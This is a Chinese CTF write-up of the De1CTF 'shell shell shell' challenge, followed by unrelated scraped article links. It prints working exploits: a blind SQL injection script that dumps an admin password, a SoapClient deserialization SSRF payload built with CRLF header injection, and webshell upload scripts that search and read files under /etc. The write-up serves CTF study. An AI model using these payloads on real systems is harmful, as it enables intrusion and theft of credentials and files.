De1ctf - shell shell shell记录
虽然是N1CTF原题,但是自己没遇见过,还是做的题少,记录一下吧==
1.源码泄露,直接可以下到所有源码,然后代码审计到一处insert型注入:
这里直接带入insert里面,跟进去看看
insert函数对values进行正则替换,先调用get_columnsp
这里把数组分成以` , `连接的字符串并且以`反引号包在内,而正则则是匹配字符串中所有反引号之间的内容,将其取出放到两个单引号里面,要是一下子看不出来其实可以把这一两个函数挑出来单独测试一下:
<?php
function get_column($columns){ if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` '; return $column;
}
$a=['a','b'];
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($a)).')';
echo $value;
如果我们按常规的insert注入a' or sleep(5),3)#那么此时values最终为:
可以看到此时values形式明显出现了错误,因为此时我们注入了一个逗号,那么正则中`([^`,])`意思是匹配两个反引号之间除了反引号和逗号之外的所有字符,要是没有逗号,此时正好闭合前面的‘ 但单引号,所以在注入逗号的同时我们还要让`反引号变为单引号来闭合,我们可以注入反引号,从而`b` ,替换后就为'b',此时就能闭合,并且可以使用单引号,那么后面延时注入就ok了。
可以通过burp直接看到延时效果,那么后面脚本直接上就行,比赛的时候用的国外服务器,我的网速太卡,延时没跑出来,就算语句正确也有好几秒的延时,体验很差劲==
然后直接脚本跑就行:
#coding:utf-8
import string
import binascii
import requests
import re
payloads = "0123456789abcdef"
url = "http://web69.buuoj.cn/index.php?action=publish"
cookie={"PHPSESSID":"dru7esue1432fnpta7behviqc1"} inject = requests.session()
password=""
def dump_flag():
password=""
for i in range(1,33):
for payload in payloads:
ch = ord(payload)
data = {
"signature": "111`,3),(if(ascii(substring((select password from ctf_users where username=0x61646d696e),"+str(i)+",1))="+str(ch)+",sleep(5),0),3,4,5)#",
"mood": 0
}
try:
a = inject.post(url=url,data=data,cookies=cookie,timeout=2)
#print(data)
except:
password = password + payload
print(password)
break dump_flag()
buu平台有waf所以一跑就有验证码,跑出来密码还是jaivypassword
但是此时显示无法登录,ip地址有限制,回去看看源码:
这里是获得remote_addr来进行判断,所以必须找到一处ssrf来
从而完成登录,这里注意到其实还有一处反序列化漏洞:
虽然将mood参数转int并addshalshes了,但是后面mood参数在可以注入的signnature参数后面,所以可以通过注入将其直接注释掉,来注入一个我们的恶意序列化对象,这里因为要ssrf,并且源代码里面没有可以直接进行ssrf的类,因此选择soapclinet类来进行ssrf,因为是内置类,所以用起来也方便,那么soapclient发送网络请求的一个条件就是,必须调用不存在的方法,从而触发其__call方法来发送网络请求,比如这里
明显符合触发条件,所以直接构造即可:
原始exp,这个是一般测试,可以在其中直接根据我们的情况进行修改,这里要关注源码:
<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa); $c=unserialize(urldecode($aaa));
$c->ss(); //调用_call方法触发网络请求发送
?>
因为要请求的login功能,所以我们要post admin的username和password以及验证码,同时要加上自己的cookie,用于在ssrf以后用此cookie登录admin
<?php
$target = 'http://web69.buuoj.cn/index.php?action=login';
$post_string = 'username=admiin&password=jaivypassword&code=(自己的验证码)';
$headers = array(
'Cookie: PHPSESSID=1234' #(未登录的cookie,便于以admin身份进行登陆)
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa); echo $aaa;
?>
登陆以后就上传shell,shell传到了/app/upload/
这里我还傻逼了,一位/app是个绝对路径,实际上app就是当前网站路径,==,我擦,那么直接访问upload就能访问到shell。
之后内网还有一个.2的ip,也是一道原题,对其可以直接ew正向代理进去,然后在/etc/下就能找到flag,最快的当然是执行find /etc/ -name "*flag*",我看师傅们都上shell然后用蚁剑,还挺方便直接扫内网存活端口,还支持curl,唉 win 真辣鸡,过几天在虚拟机也要学学它,内网的题目绕过方法在我另一篇文件操作里面已经说过了,就不说了,原题链接wp:https://blog.cindemor.com/post/ctf-web-12.html
放个exp:
import requests
url = "http://172.16.54.2/index.php"
files=[('file',('shell.php',"@<?php system('find /etc -name \'*flag*\'');var_dump('1');"))]
data={"file[1]":"","file[0]":"xxx/../tr1ple_v1.php","hello":"tr1ple_v1.php"}
r = requests.post(url=url, data=data,files=files)
print(r.content)
这里glizjin师傅的php exp也可以,直接用curl来发post包
<?php $curl = curl_init(); curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.16.54.2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
)); $response = curl_exec($curl);
$err = curl_error($curl); curl_close($curl); if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
总结:
一眼看不出来函数的处理结果及函数的功能就把它单独提出来测试来bypass
De1ctf - shell shell shell记录的更多相关文章
- weblogic每天日志合并shell脚本 [个人记录]【转】【补】
from RogerZhu modified by King sh logback.rb "/data/logs/" "/tmp/domain" "a ...
- WScript.Shell 与 Shell.Application 的不同
本文主要对比,VBScript 中 CreateObject("WScript.Shell") 和 CreateObject("Shell.Application&quo ...
- shell(shell简介)
1.shell 简介 Shell 是一个 C 语言编写的脚本语言,它是用户与 Linux 的桥梁,用户输入命令交给 Shell 处理,shell是一个命令解释器,是一个工具箱, Shell 将相应的操 ...
- [ Shell ] 通过 Shell 脚本导出 GDSII/OASIS 文件
https://www.cnblogs.com/yeungchie/ 常见的集成电路版图数据库文件格式有 GDSII 和 OASIS,virtuoso 提供了下面两个工具用来在 Shell 中导出版图 ...
- 转:shell 经典, shell 十三问
原文链接:http://blog.csdn.net/freexploit/article/details/626660 我在 CU 的日子并不长,有幸在 shell 版上与大家结缘.除了跟众前辈学 ...
- [翻译].NET Shell Extensions - Shell Context Menus---.net 外壳扩展-右键菜单
我自己的前言说明: 本文原作者为 Dave Kerr,原文链接为.NET Shell Extensions - Shell Context Menus:,我是在为了完成最新需求的时候查询资料的时 ...
- [拾 得] 一枚迷人的贝壳 SHELL / Linux | shell 脚本初步入门
坚持知识分享,该文章由Alopex编著, 转载请注明源地址: http://www.cnblogs.com/alopex/ 索引: 什么是shell shell的分类 shell脚本的执行方式 ...
- CMD & Git Shell & Bash Shell
CMD & Git Shell & Bash Shell https://mvdan.cc/sh/cmd/shfmt PC
- java.lang.NullPointerException at java.lang.ProcessBuilder.start(Unknown Source) at org.apache.hadoop.util.Shell.runCommand(Shell.java:482)
1:问题出现的原因,部署好的hadoop-2.6.4进行window10操作hadoop api出现的错误,具体错误是我向hdfs上传文件,还好点,之前解决过,这里不叙述,这里说一下从hdfs下载文件 ...
- Linux Shell常用shell命令
Linux Shell常用shell命令 一.文件.目录操作命令 1.ls命令 功能:显示文件和目录的信息 ls 以默认方式显示当前目录文件列表 ls -a 显示所有文件包括隐藏文件 ls -l 显示 ...
随机推荐
- 在js中把json中的 key去掉双引号的方法
方法一: //数据格式是这样的: var data = '[{"id":30348079,"name":"表1","score&q ...
- Java 之 Servlet中的生命周期
Servlet 生命周期 一.重写servlet方法 当创建一个类,继承 servlet 这个接口时,需要实现里面的抽象方法. import javax.servlet.*; import java. ...
- ECSHOP v3.0 数据库字典
商品相关表 商品分类表 category 此表用来维护商品分类信息 字段名 字段描述 字段类型 默认值 索引 cat_id 分类编号 smallint(5) unsigned 自增 PK cat_na ...
- 我与SAP成都研究院吴院长的二三事
这几天Jerry没怎么看手机,今天才注意到,昨天SAP中国研究院公众号上发布了一篇文章:SAP高管说: 体验经济时代下的SAP客户体验.仔细一看,这不是咱SAP成都研究院的吴院长么. 在今年没有发生部 ...
- oracle批量操作
https://stackoverflow.com/questions/39576/best-way-to-do-multi-row-insert-in-oracle 1 批量insert 方式一: ...
- java git .gitignore常用规则
# Created by .ignore support plugin (hsz.mobi).gitignore # Operating System Files *.DS_Store Thumbs. ...
- c# ArrayList 类
- Oracle IMP-00010 不是有效的导出文件,标头验证失败 解决方法
用IMP导入dmp文件时,出现IMP-00010 不是有效的导出文件,标头验证失败问题. 第一种:网上搜索到的大多解决方法是说导出文件时使用的Oracle版本不一致问题,需要修改dmp文件的版本号.如 ...
- 在线研讨会预热 | 基于ASPICE&CNAS的单元测试介绍
随着新能源车.智能驾驶技术的快速发展,软件本身复杂度越来越高,应用场景也是复杂多样,如何保证软件质量对我们来说是一个严峻的挑战.软件测试作为软件质量保证的重要手段,被各大整车厂和供应商 ...
- 检查SQL Server数据库各个库表空间使用的方法
/*创建一张表:表名Data,列名:表名,列数,预留空间,数据占用空间,索引占用空间,剩余空间*/ CREATE TABLE Data ( 表名 ), 列数 ), 预留空间 ), 数据占用空间 ), ...